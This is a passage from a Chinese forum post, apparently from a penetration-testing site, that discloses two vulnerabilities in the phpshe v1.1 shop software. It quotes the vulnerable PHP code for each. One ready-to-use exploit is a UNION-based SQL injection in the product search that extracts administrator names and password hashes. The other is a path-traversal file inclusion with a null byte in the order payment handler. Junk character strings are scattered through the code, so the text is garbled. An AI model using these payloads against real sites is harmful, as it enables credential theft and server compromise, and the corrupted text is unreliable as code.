0×02 搜索注入
' g P4 F5 @) B
<code id="code2">
//product.php文件8 v8 B, s: D0 G3 e7 a
case 'list':/ L$ f4 e7 C% ]( c( E
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));0 s# m+ x. m: X, w: W# S
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}6 T/ T; |2 k) y9 J( T0 M
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤- a0 f1 R$ M- c% U" {" w) Y
if ($_g_orderby) {. z: O9 o: g J* ?4 X$ z% H0 t! @
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}& A: J& `2 \' Y' T3 Y+ i3 c& D
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page)); {( x: S7 @" z5 o
//热卖排行, T6 ~9 j2 {7 f
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);( }) R% f6 w" \, x8 [* z
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));$ x& A1 d$ G# R% ?# Q8 c* k0 U$ Y
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);( c( Q: Q; r8 x \1 ]5 T' z
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp6 m6 @; N! R# [+ w* `* a
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
</code>) g/ e. r! D3 b& z. q
0×03 包含漏洞2
<code id="code3">
//order.php
case 'pay':
$order_id = pe_dbhold($_g_id);
, a9 N C+ n( u3 L3 D
$cache_payway = cache::get('payway');
foreach($cache_payway as $k => $v) {
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
! {; `, N: K- q' ~% \/ p
if ($k == 'bank') {
& V5 I. G! e9 x
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
* X# Y& I; p/ F- ~
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
- z- T6 a# N. ^; S& F' W
if (isset($_p_pesubmit)) {
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
- U' Q4 {# |1 f" p, \
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
: ^2 K& C8 \6 P' {/ M) B
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};"; M! E8 h$ v7 j2 o8 N
8 ?) S# |$ _ F/ l7 f& Z( c3 \7 N
}
echo '正在为您连接支付网站,请稍后...';
0 W4 j( R, D8 N3 M5 w7 d
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
+ d7 W! m. a* q' T# H1 V7 b
}//当一切准备好的时候就可以进行"鸡肋包含了"
g7 s8 V' U6 t4 r# K6 r
else {
1 G1 L" v# O0 Q% h$ O v
pe_error('支付错误...');
}
- t+ C4 p! X+ |& C4 }# n [
}
$seo = pe_seo('选择支付方式');
include(pe_tpl('order_pay.html'));
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |